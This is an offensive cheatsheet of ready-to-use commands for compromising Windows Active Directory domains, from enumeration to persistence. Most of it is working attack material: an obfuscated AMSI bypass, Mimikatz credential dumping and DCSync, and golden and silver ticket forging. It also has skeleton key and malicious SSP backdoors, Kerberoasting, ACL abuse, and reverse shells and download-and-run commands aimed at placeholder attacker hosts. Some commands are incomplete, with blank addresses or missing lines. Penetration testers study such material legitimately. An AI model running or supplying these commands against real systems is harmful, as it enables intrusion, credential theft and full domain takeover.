Skip to main content

Active Directory

The goal of this cheatsheet is to present some "ready to use" commands for offensive security in Windows and Active Directory environments, from the Active Directory recon to the forest persistence. MSSQL attacks are also present, but they will be more detailled in a futur cheasheet dedicated to them.


Bypass AMSI

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )


#On PowerShell 6

Create PowerShell credentials

$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("CORP\john", $pass)

Execution Context / AppLocker

#To bypass with PowerShell 6

#Get AppLocker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Bypass Constrained Language Mode

Import BypassCLM.exe and Mono.Options.dll in a directory where the AppLocker policy authorized the execution, then:

.\BypassCLM.exe -c "iex (new-object net.webclient).downloadstring('')"

Check user privs

(Get-ObjectAcl | Where-Object {$_.ObjectSid -match "S-1-5-21-1874506631-3219952063-538504511-45138"})
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -match "spotless"} #SecurityIdentifier on PowerView_dev

#WMI access
gwmi -class win32_operatingsystem -ComputerName <computer.domain>

Port Forwarding

We can contact a machine, and this one can contact another machine, but we can't contact the second machine directly from our primary machine

On the "central" machine, all the hit on the port 80 or 4545 will be forward to the connectaddress on the specified port:

#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress= connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress= connectport=80

#Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545

Domain Enumeration

Domain Objects

Current domain

Get-NetDomain (PowerView)
Get-ADDomain (ActiveDirectory Module)

#Domain SID

Another Domain

Get-NetDomain -Domain <domain.local> (PowerView)
Get-ADDomain -Identity <domain.local> (ActiveDirectory Module)

Domain Policy

(Get-DomainPolicy)."system access"
#Another domain
(Get-DomainPolicy -domain <domain.local>)."system access"

Domain controller

Current domain


Another domain

Get-NetDomainController -Domain <domain.local>
Get-ADDomainController -DomainName <domain.local> -Discover

User enumeration

List users

Get-NetUser -Username user1 #-Identity on PowerView_dev
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity user1 -Properties *

User's properties

Get-UserProperty #unable on PowerView_dev
Get-UserProperty -Properties pwdlastset

Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}

Search for a particular string in attributes

Find-UserField -SearchField Description -SearchTerm "built"
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description

Actively logged users on a machine

Needs local admin rights on the target

Get-NetLoggedon -ComputerName <servername>

Locally logged users on a machine

Needs remote registry on the target - started by-default on server OS

Get-LoggedonLocal -ComputerName <computer.domain>

Last logged user on a machine

Needs administrative rights and remote registry on the target

Get-LastLoggedOn -ComputerName <servername>

Computers enumeration

Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData

#AD Module
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{TestConnection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *

Groups enumeration

Groups in the current domain

Get-NetGroup -Domain <targetdomain>
Get-NetGroup -FullData

Get-ADGroup -Filter * | select Name 
Get-ADGroup -Filter * -Properties *

Groups with the word "admin"

Get-NetGroup *admin*
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name

All users in a specific group

Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-ADGroupMember -Identity "Domain Admins" -Recursive

All groups of an user

Get-NetGroup -UserName "user1"
Get-ADPrincipalGroupMembership -Identity user1

Local groups enumeration

Get-NetLocalGroup -ComputerName <computer.domain> -ListGroups

Members of local groups

Get-NetLocalGroup -ComputerName <computer.domain> -Recurse

Shares / Files

Find shares on the domain

Invoke-ShareFinder -Verbose

Sensitive files on the domain

Invoke-FileFinder -Verbose

Find all FileServers of the domain


GPO Enumeration

List of GPO in the domain

Get-NetGPO -ComputerName <computer.domain> 
Get-GPO -All #(GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html #(Provides RSoP)

Get GPO with Restricted Groups


Users which are in a local group using GPOs

Find-GPOComputerAdmin -Computername <computer.domain>

Machine where an user is member of a specific group

Find-GPOLocation -UserName user1 -Verbose

Organisation Units

OUs of the domain

Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *

GPO applied on an OU / Read GPO from the GP-Link attribut from Get-NetOU

Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 #(GroupPolicy module)


ACLs associated to an object (inbound)

Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs

Outbound ACLs of an object

This are the rights the object has in the AD

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -match "spotless"}

ACLs associated to a prefix

Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose

#AD Module
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=domain,DC=local').Access

ACLs associated to a LDAP path

Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=domain,DC=local" -ResolveGUIDs -Verbose

Searching for interesting ACEs

Invoke-ACLScanner -ResolveGUIDs

ACLs associated to a specific path

Get-PathAcl -Path "\\computer.domain.local\sysvol"


Map trusts


Domain trusts for the current domain

Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust -Domain <domain.local>

#AD Module
Get-ADTrust -Identity <domain.local>


Details about the current forest

Get-NetForest -Forest domain.local
Get-ADForest -Identity domain.local

All domains in the current forest

Get-NetForestDomain -Forest domain.local


Global catalogs of the current forest

Get-NetForestCatalog -Forest domain.local

Get-ADForest | select -ExpandProperty GlobalCatalogs

Forest trusts

Get-NetForestTrust -Forest domain.local

Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

User hunting

Find machine where the current user has admin privs

Find-LocalAdminAccess -Verbose

If the RPC or SMB ports are blocked, see Find-WMILocalAdminAccess.ps1 and Find-PSRemotingLocalAdminAccess.ps1 to use WMI or PowerShell Remoting

Find local admins on the domain machines

Invoke-EnumerateLocalAdmin -Verbose

Find machines where specific users or groups have sessions

Invoke-UserHunter #Admins
Invoke-UserHunter -GroupName "RDPUsers"

Confirm admin access

Invoke-UserHunter -CheckAccess

Domain computers where a domain admin is logged in

Invoke-UserHunter -Stealth

Privilege Escalation



#Get services with unquoted paths and a space in their name.
Get-ServiceUnquoted -Verbose

#Get services where the current user can write to its binary path or change arguments to the binary
Get-ModifiableServiceFile -Verbose

#Get the services whose configuration current user can modify.
Get-ModifiableService -Verbose

All Checks




Before Server2019, with the Potato serie

./juicy.exe -l 1337 -p ./nc64.exe -a " IP PORT -e cmd.exe" -t *

On Server2019, with PrintSpoofer

./PrintSpoofer.exe -c "C:\TOOLS\nc.exe IP PORT -e cmd"

#-i when we are in a non interactive process
./PrintSpoofer.exe -i -c cmd

Feature Abuse


Go to http://urlJenkins/script

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
println "out> $sout err> $serr"

Without admin access : add a build step in the build configuration, add "Execute Windows Batch Command" and powershell –c <command>

powershell -c "iex (new-object'')"

#For more hardened policy
#On Kali
    echo "iex (new-object'')" | iconv --to-code UTF-16LE | base64 -w 0
#In Jenkins


Invoke-BloodHound -CollectionMethod All

#Limit detection like ATA
Invoke-BloodHound -CollectionMethod All -ExcludeDC

Lateral Movement

PowerShell Remoting



#Pass creds



Execute scripts

#Script block
Invoke-Command -Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)

#Script from file
Invoke-Command -FilePath C:\tools\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)

Execute locally loaded function to remote

Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>)

#With arguments
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>) -ArgumentList

Stateful commands

$Sess = New-PSSession -Computername <computer>
Invoke-Command -Session $Sess -ScriptBlock {$Proc = Get-Process} 
Invoke-Command -Session $Sess -ScriptBlock {$Proc.Name}

Item copy

Copy-Item -ToSession $sess -Path C:\tools\Rubeus.exe -Destination C:\Users\user1\Downloads


Dump creds

#Dump credentials on a local machine.
Invoke-Mimikatz -DumpCreds

#Dump credentials on multiple remote machines.
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")

#Make a DCSync attack on all the users
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:contoso.local /all"'


Generate tokens from hashes

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<ntlmhash> /run:powershell.exe"'

Bypass Kerberos Double Hop

By default, Kerberos doesn't permise to run a PSSession into a PSSession (or Invoke-Command into a PSSession, or whatever)

This can be bypassed with Mimikatz, by running a reverse shell in a Over-Pass-the-Hash from a PSSession

$Contents = "powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://IP:443/Invoke-HelloWorld.ps1'))"
Out-File -Encoding Ascii -InputObject $Contents -FilePath C:\Users\user1\Desktop\reverse.bat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user1 /domain:domain.local /ntlm:fbf4f078e639b8adc94791127b86bb49 /run:C:\users\users1\desktop\reverse.bat"'

In the new shell it is not possible to run an Enter-PSSession, but it is possible to create a New-PSSession and run Invoke-Command into this new session

$sess = New-PSSession <computer>
Invoke-Command -ScriptBlock{whoami;hostname} -Session $sess

Invoke-Command -ScriptBlock {mkdir /tmp; iwr http://IP:443/Invoke-HelloWorld.ps1 -o /tmp/Invoke-HelloWorld.ps1; . \tmp\Invoke-HelloWorld.ps1} -Session $sess

Token Manipulation

  • It is possible to use/impersonate tokens available on a machine

  • We can use Invoke-TokenManipulation from PowerSploit or Incognito for token impersonation

  • Administrative privileges are required to adjust token privileges

List all tokens

#List all tokens on the machine
Invoke-TokenManipulation -ShowAll

#List all unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate

Start a new process with a specific token

#Token of a user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

#Token of a process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 500


To retrieve maximum creds

./lazagne.exe all

ADIDNS Poisoning

How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us

  • By default, any user can create new ADIDNS records
  • But it is not possible to change or delete a record we are not owning
  • By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc

If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener

Wildcard attack with Powermad

The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP. This is what Powermad do:

# get the value populated in the DNSRecord attribute of a node
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRec

# creates a wildcard record, sets the DNSRecord and DNSTombstoned attributes
New-ADIDNSNode -Tombstone -Verbose -Node * -Data $IP

# enable a tombstoned record
Enable-ADIDNSNode -Node *

# disable a node
Disable-ADIDNSNode -Node *

# remove a node
Remove-ADIDNSNode -Node *

# check the wildcard record works/resolve a name
Resolve-DnsName NameThatDoesntExist

DNS update with Invoke-DNSUpdate

To work with "classic" record, i.e. not wildcard record

Invoke-DNSUpdate -DNSType A -DNSName test.contoso.local -DNSData -Realm contoso.local


Golden Ticket

Dump krbtgt hash

From the DC as a DA

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc

Create TGT

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'


Arguments Definitions
kerberos::golden Name of the module
/User:Administrator Username for which the TGT is generated
/domain:domain.local Domain FQDN
/sid:S-1-5-21-1874506631-3219952063- 538504511 SID of the domain
/krbtgt:ff46a9d8bd66c6efd77603da26796f35 NTLM (RC4) hash of the krbtgt account. Use /aes128 and /aes256 for using AES keys.
/id:500 /groups:512 Optional User RID (default 500) and Group default 513 512 520 518 519)
/ptt or /ticket Injects the ticket in current PowerShell process - no need to save the ticket on disk Saves the ticket to a file for later use
/startoffset:0 Optional when the ticket is available (default 0 - right now) in minutes. Use negative for a ticket available from past and a larger number for future.
/endin:600 Optional ticket lifetime (default is 10 years) in minutes. The default AD setting is 10 hours = 600 minutes
/renewmax:10080 Optional ticket lifetime with renewal (default is 10 years) in minutes. The default AD setting is 7 days = 100800

krbtgt's hash with DCSync

Using the DCSync option needs no code execution (no need to run Invoke-Mimikatz) on the target DC

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'


A TGT for a user can be also requested with:

.\Rubeus.exe asktgt /user:user1 /rc4:b38ff50264b74508085d82c69794a4d8 /ptt

/rc4 is the user's hash

Silver Ticket

Create TGS

/rc4 take the service account (generally the machine account) hash

Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:computer.domain.local /service:CIFS /rc4:6f5b5acaf7433b3282ac22e21e62ff22 /user:Administrator /ptt"'

Requesting a TGS can be performed with Rubeus like this :

./Rubeus.exe asktgs /ticket:tgt.kirbi /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt

Commands execution with TGS

For example, with a TGS for the HOST service

Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:computer.domain.local /service:HOST /rc4:6f5b5acaf7433b3282ac22e21e62ff22 /user:Administrator /ptt"'

Schedule task creation:

schtasks /create /S computer.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://IP:8080/Invoke-PowerShellTcp.ps1''')'"
schtasks /Run /S computer.domain.local /TN "STCheck"

Skeleton Key

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc.domain.local

Now, it is possible to access any machine with a valid username and password as "mimikatz"

Enter-PSSession -Computername computer -credential domain\Administrator

Bypass RunAsPPL

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-


  • DSRM is Directory Services Restore Mode.

  • There is a local administrator on every DC called "Administrator" whose password is the DSRM password.

  • DSRM password (SafeModePassword) is required when a server is promoted to Domain Controller and it is rarely changed.

  • After altering the configuration on the DC, it is possible to pass the NTLM hash of this user to access the DC.

Dump DSRM password

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dc

Compare with the Administrator pass

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc

First one is the DSRM

Authenticate with DSRM hash

Need to change the logon behavior before pass the hash

Enter-PSSession -Computername dc
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

#Pass the hash
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:domain /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'

Custom SSP

A Security Support Provider (SSP) is a DLL which provides ways for an application to obtain an authenticated connection. Some SSP Packages by Microsoft are :

  • NTLM

  • Kerberos

  • Wdigest

  • CredSSP

Mimikatz provides a custom SSP - mimilib.dll. This SSP logs local logons, service account and machine account passwords in clear text on the target server.

Drop the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages :

$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages'

Using mimikatz, inject into lsass (Not stable with Server 2016):

Invoke-Mimikatz -Command '"misc::memssp"'

All local logons on the DC are logged to C:\Windows\system32\kiwissp.log

ACLs - AdminSDHolder

  • Resides in the System container of a domain and used to control the permissions - using an ACL - for certain built-in privileged groups ( called Protected Groups).

  • Security Descriptor Propagator (SDPROP) runs every hour and compares the ACL of protected groups and members with the ACL of AdminSDHolder and any differences are overwritten on the object ACL.


  • With DA privileges (Full Control/Write permissions) on the AdminSDHolder object, it can be used as a backdoor/persistence mechanism by adding a user with Full Permissions (or other interesting permissions) to the AdminSDHolder object.

  • In 60 minutes (when SDPROP runs), the user will be added with Full Control to the AC of groups like Domain Admins without actually being a member of it.

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights All -Verbose

#AD Module
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Principal user1 -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights WriteMembers -Verbose

Run SDProp manually

Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
#Pre-Server 2008
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose

Check Domain Admin perms

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}

#AD Module
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local').Access | ?{$_.IdentityReference -match 'user1'} 

ACLs - Rights Abuse

Add FullControl rights

Add-ObjectAcl -TargetDistinguishedName 'DC=domain,DC=local' -PrincipalSamAccountName user1 -Rights All -Verbose

#AD Module
Set-ADACL -DistinguishedName 'DC=domain,DC=local' -Principal user1 -Verbose

Add DCSync rights

Add-ObjectAcl -TargetDistinguishedName 'DC=domain,DC=local' -PrincipalSamAccountName student1 -Rights DCSync -Verbose

#AD Module
Set-ADACL -DistinguishedName 'DC=domain,DC=local' -Principal student1 -GUIDRight DCSync -Verbose

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

ACLs - Security Decriptors

ACLs can be modified to allow non-admin users access to securable objects.


#• On local machine for student1:
Set-RemoteWMI -UserName user1 -Verbose

#• On remote machine for student1 without explicit credentials:
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Verbose

#• On remote machine with explicit credentials. Only root\cimv2 and nested namespaces:
Set-RemoteWMI -UserName user1 -ComputerName <computer> -Credential Administrator -namespace 'root\cimv2' -Verbose

#• On remote machine remove permissions:
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Remove -Verbose

PowerShell Remoting

#• On local machine for student1:
Set-RemotePSRemoting -UserName user1 -Verbose

#• On remote machine for student1 without credentials:
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Verbose

#• On remote machine, remove the permissions:
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Remove

Remote Registry

With the scripts from DAMP-master

#• Using DAMP, with admin privs on remote machine
Add-RemoteRegBackdoor -ComputerName <computer> -Trustee user1 -Verbose

#• As student1, retrieve machine account hash:
# If errors, replace $iv by $initv in the script
Get-RemoteMachineAccountHash -ComputerName <computer> -Verbose

#• Retrieve local account hash:
Get-RemoteLocalAccountHash -ComputerName <computer> -Verbose

#• Retrieve domain cached credentials:
Get-RemoteCachedCredential -ComputerName <computer> -Verbose

Machine account hash can be used to create TGS for the machine

Domain Privesc


The Kerberos session ticket (TGS) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack.

Password hashes of service accounts could be used to create Silver tickets.

Find user with SPN

Get-NetUser -SPN

#ActiveDirectory module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Request TGS

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/computer.domain.local"

Or Request-SPNTicket with PowerView

Export the ticket

Invoke-Mimikatz -Command '"kerberos::list /export"'

Crack the ticket

Many options but this one works (also john, hashcat, etc...)

python.exe .\ .\10k-worst-pass.txt .\2-40a10000-user1@MSSQLSvc~computer.domain.localDOMAIN.LOCAL.kirbi

Can be performed as well with Invoke-Kerberoast from PowerSploit ou Get-UsersSPNs


./Rubeus.exe kerberoast /outfile:ticket.kirbi

AS-REP Roasting

  • If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline.

  • With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be forced disabled as well.

Enumerate users

#Using PowerView (dev):
Get-DomainUser -PreauthNotRequired -Verbose

#Using ActiveDirectory module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Disable Kerberos Preauth

With PowerView_dev

#Check RDPUsers rights
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

Set-DomainObject -Identity <user> -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser -PreauthNotRequired -Verbose

Request AS-REP

Get-ASREPHash -UserName USER -Verbose

#To enumerate all users with Kerberos preauth disabled and request a hash
Invoke-ASREPRoast -Verbose

Crack the hash

With john or hashcat it could be performed

ACLs Attacks

With enough rights against a target object it is possible to realise modifications on this object in order to take it over.

ACLs packages

ACL rights can be "packaged" to apply multiple rights immediatly. Here are the "packages" and which subcategories they contain.

  • Owns object

    • WriteDacl
  • GenericAll
    • GenericWrite
    • AllExtendedRights
    • WriteOwner
  • GenericWrite
    • Self
    • WriteProperty
  • AllExtendedRights
    • User-Force-Change-Password
    • DS-Replication-Get-Changes
    • DS-Replication-Get-Changes-All
    • DS-Replication-Get-Changes-In-Filtered-Set

After, minimal interesting ACLs are presented for each objects, if a superior ACL is encountered, that's good.

Against any objects


With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it.

Set-DomainObjectOwner -Identity targetuser -OwnerIdentity attacker -verbose
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity attacker -Rights ResetPassword

#And change the password
$cred = ConvertTo-SecureString "Password123!" -AsPlainText -force                  
Set-DomainUserPassword -identity targetuser -accountpassword $cred

With this rights we can modify our ACLs against the target, and give us GenericAll for example.

Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity attacker -Rights All

Against an user

  • ShadowCredentials

Whisker.exe add /target:username /domain:contoso.local /dc:dc.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
  • Logon Script
# With PowerView
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\ATTACKER_IP\rev.exe'} -Verbose

# With the Active Directory module
Set-ADObject -SamAccountName 'user' -PropertyName scriptpath -PropertyValue "\\ATTACKER_IP\rev.exe"
  • Targeted Kerberoasting

We can then request a TGS without special privileges. The TGS can then be "Kerberoasted".

#Verify if the user already has a SPN
Get-DomainUser -Identity user | select serviceprincipalname
    #Using ActiveDirectory module
Get-ADUser -Identity user -Properties ServicePrincipalName | select ServicePrincipalName

New SPN must be unique in the domain

#Set the SPN
Set-DomainObject -Identity user -Set @{serviceprincipalname='ops/whatever1'}
    #Using ActiveDirectory module
Set-ADUser -Identity user -ServicePrincipalNames @{Add='ops/whatever1'} 

#Request the ticket
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
    #From PowerView


Then, same as Kerberoast


With enough permissions on a user, we can change his password

net user Dr.Zaiuss Password123! /domain

#With PowerView
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("licordebellota\Dr.Zaiuss", $pass)
Set-DomainUserPassword "superfume" -AccountPassword $UserPassword -Credential $cred

Against a computer

  • ShadowCredentials
Whisker.exe add /target:username /domain:contoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
  • ReadLAPSPassword
# With PowerView
Get-DomainComputer server.contoso.local -Properties ms-mcs-AdmPwd,displayname,ms-mcs-AdmPwdExpirationTime
  • ReadGMSAPassword
./GMSAPasswordReader.exe --accountname gmsaAccount

Against a group

WriteProperty / AllExtendedRights / GenericWrite Self

With one of this rights we can add a new member to the group

net group groupName user /add
# With PowerView
Add-DomainGroupMember -Identity 'groupName' -Members 'user'

Against a GPO


We can create an "evil" GPO with a scheduled task for example, to launch a reverse shell or add an user to the local admins

#With PowerView
New-GPOImmediateTask -Verbose -Force -TaskName 'Update' -GPODisplayName 'weakGPO' -Command cmd -CommandArguments "/c net localgroup administrators controlledUser /add"

#With SharpGPOAbuse
./SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author Administrator --Command "cmd.exe" --Arguments "/c /tmp/nc.exe attacker_ip 4545 -e powershell" --GPOName "weakGPO"

Against the domain / forest

DS-Replication-Get-Changes + DS-Replications-Get-Changes-All

Can DCSync

SamAccountName Spoofing

From The Hacker Recipes


# 0. create a computer account
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

# 1. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose

# 2. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose

# 3. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap

# 4. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose

# 5. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"cifs/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]

# 6. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt 


# 0. create a computer account -computer-name 'Machine$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain.local 'domain.local/user:password'

# 1. clear its SPNs (not necessary if created with addComputer) -u 'domain\user' -p 'password' -t 'Machine$' -c Machine

# 2. rename the computer (computer -> DC) -current-name 'Machine$' -new-name 'DC01' -dc-ip 'DC01.domain.local' 'domain.local'/'user':'password'

# 3. obtain a TGT -dc-ip 'DC01.domain.local' 'domain.local'/'DC01':'ComputerPassword'

# 4. reset the computer name -current-name 'DC01' -new-name 'Machine$' 'domain.local'/'user':'password'

# 5. obtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DC01.ccache'; -self -impersonate 'Administrator' -spn 'cifs/DC01.domain.local' -k -no-pass -dc-ip 'DC01.domain.local' 'domain.local'/'DC01'

# 6. DCSync by presenting the service ticket
KRB5CCNAME='Administrator.ccache'; -k -no-pass -dc-ip 'DC01.domain.local' @'DC01.domain.local'

Account Operators

The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password

Add user to LAPS groups

Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user' -Credential $cred -Domain "domain.HTB"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user' -Credential $cred -Domain "domain.HTB"

Read LAPS password

Get-DomainComputer <computer> -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime

DNS Admin

  • It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).

  • In case the DC also serves as DNS, this will provide us escalation to DA.

  • Need privileges to restart the DNS service.

Enumerate members

Get-NetGroupMember -GroupName "DNSAdmins" #-Identity with dev

Get-ADGroupMember -Identity DNSAdmins

After compromising a DNS Admin

Configure the DLL


#With dnscmd.exe
dnscmd dcorp-dc /config /serverlevelplugindll \\\dll\mimilib.dll

#With DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName computer -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName computer -Verbose


Restart DNS

